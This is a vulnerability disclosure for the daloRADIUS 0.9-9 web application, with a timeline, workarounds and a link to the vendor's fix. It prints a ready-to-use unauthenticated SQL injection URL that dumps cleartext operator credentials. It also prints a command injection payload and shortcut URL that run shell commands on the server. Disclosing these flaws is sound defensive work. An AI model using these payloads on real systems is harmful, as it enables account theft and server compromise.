daloRADIUS 0.9-9 - Multiple vulnerabilities leading to arbitrary shell execution

I know ancient PHP apps is kinda cheating, but there are people running this…

Abstract

daloRADIUS is an advanced RADIUS web management application aimed at managing hotspots and general-purpose ISP deployments. It features user management, graphical reporting, accounting, a billing engine and integrates with GoogleMaps for geo-locating. [1]

While auditing this software for a business we found multiple potential security issues and despite the fact that this is a web application written in the early 2000s, there are unfortunately a lot of people running it in production.

Numerous SQL Injection vulnerabilities have been found and disclosed[2] and are as-yet unresolved, however most of these appear to require authentication to the system in the form of “operator” access, limiting their usefulness to malicious attackers. Let’s fix that:

Vulnerability #1 - Anonymous SQL Injection to disclose operator passwords

Assuming the daloRADIUS installation has php-dompdf (and maybe php-mail and php-mail_mime) installed (it looks like many do, to facilitate invoicing), there exists an SQL injection vulnerability in include/common/notificationsBatchDetails.php which does not require any credentials on the server whatsoever.

The argument batch_name is not sanitized, and so with a carefully constructed batch_name such as:

?batch_name=invalid%27%20UNION%20ALL%20SELECT%20NULL,%20username%20AS%20
batch_name,%20NULL,%20password%20AS%20batch_status,%20NULL,%20NULL,%20NULL,
%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20FROM%20operators%3B%23

The usernames and passwords (stored in cleartext) of all operators will all be printed handily to a table in a PDF that’s downloaded straight to your browser.

It’s worth noting that the damage of this vulnerability would have been dramatically decreased (reducing it’s severity to that of the other SQL injection attacks which require operator access) if this script either checked it was running inside of the main scripts, or checked if it was logged in itself.

The problem is found on line 110 of include/common/notificationsBatchDetails.php, introduced in commit 5b5da4bb3adf681fd9dd3a52c3b983358558fd0d.

Vulnerability #2: Arbitrary Shell Command Execution

If a user has access to log in to the main daloRADIUS application (ie, “Operator” access) they can execute arbitrary commands on the server using the “Disconnect User” feature:

config-maint-disconnect-user.php?username=nonexistentuser

Ensure you set the NAS IP/port to anything (doesn’t have to be valid, just non-empty), the username need not exist and it really doesn’t matter as nothing is checked and exploiting this will cause the system to not actually disconnect the client.

In the “Additional attributes” box put anything like so, to break out of the quotes:

"; id; echo "

Command is then: echo ""; id; echo "" | radclient...

Results in:

User-Name='nonexistentuser',
uid=33(www-data) gid=33(www-data) groups=33(www-data)
radclient: Nothing to send.

Shortcut:

config-maint-disconnect-user.php?username=nonexistentuser&submit=a&nasaddr=a&nasport=a&nassecret=a&customattributes=%22%3b%20id%3b%20echo%20%22

Problem occurs around line 78 in library/exten-maint.radclient.php, introduced in commit 05e6c72cdd14a1485d5cc21e8ca75306238f8f6d

Indeed, I didn’t realise this early on, but due to incorrect use of escapeshellarg() it looks like previous versions are also vulnerable in the other fields, including in the “test authentication” function as well (you just have to work around the escaping of single quotes, backticks, pipes etc).

Bonus Security Issues

In addition to previously documented SQL injection issues just about anywhere “orderBy” is found, and copious amounts of issues in the contrib/ directory, we also found the following that were not extensively researched:

https://github.com/lirantal/daloradius/blob/ed4fea937c2b9b32b952e946bd417669a42eeb43/acct-active.php#L82 https://github.com/lirantal/daloradius/blob/ed4fea937c2b9b32b952e946bd417669a42eeb43/acct-all.php#L75 https://github.com/lirantal/daloradius/blob/ed4fea937c2b9b32b952e946bd417669a42eeb43/acct-custom-query.php#L123

.. etc. Pretty much just grep -rn '$orderBy' for a complete list, but most of these require operator access already so the attack surface is pretty limited.

This one only requires user-access if the daloradius-users portal is installed:

https://github.com/lirantal/daloradius/blob/ed4fea937c2b9b32b952e946bd417669a42eeb43/daloradius-users/bill-invoice-report.php#L124

As mentioned above, operator and user passwords are stored in cleartext with no option to hash them whatsoever. RADIUS passwords can be hashed if the authentication method supports it (ie, PAP), albeit with some dodgy logic and weak hashing mechanisms. For example, if you use crypt() for password hashing, it always uses the characters ‘SA’ for the salt, in four places such as: https://github.com/lirantal/daloradius/blob/ed4fea937c2b9b32b952e946bd417669a42eeb43/mng-edit.php#L486

Without thinking too hard about it, this is probably not a big deal because crypt() is so close to useless these days, with or without a salt - it’s probably not the only issue though.

Solutions/Workarounds

You can work around the first issue by simply not having the requisite libraries installed, or disabling the script if you’re not using batches.

The author is working on patches in this pull request: https://github.com/lirantal/daloradius/pull/15

Disclosure Timeline

The author of the software has made a fix publicly available in a pull request, and the exploits are pretty obvious if you look at the changes so I’m publicizing this now in the hopes that the folks running this software can disable it, firewall it, or whatever. The fix is still in-progress, and at the time of writing breaks the “user disconnect” function, and so no release has been rolled yet.

To the author’s credit, the amount of support for such an ancient piece of software was more than I was expecting.

  • Discovery: 2016-09-04
  • Vendor Contacted: 2016-09-05
  • Vendor Responded: 2016-09-05
  • Fix publicized: 2016-10-19

Authors and Acknowledgments

  • James Fraser
  • Avinash Duduskar
  • Liran Tal (vendor)

References

1) https://github.com/lirantal/daloradius 2) https://cxsecurity.com/issue/WLB-2013030130

fwaggle

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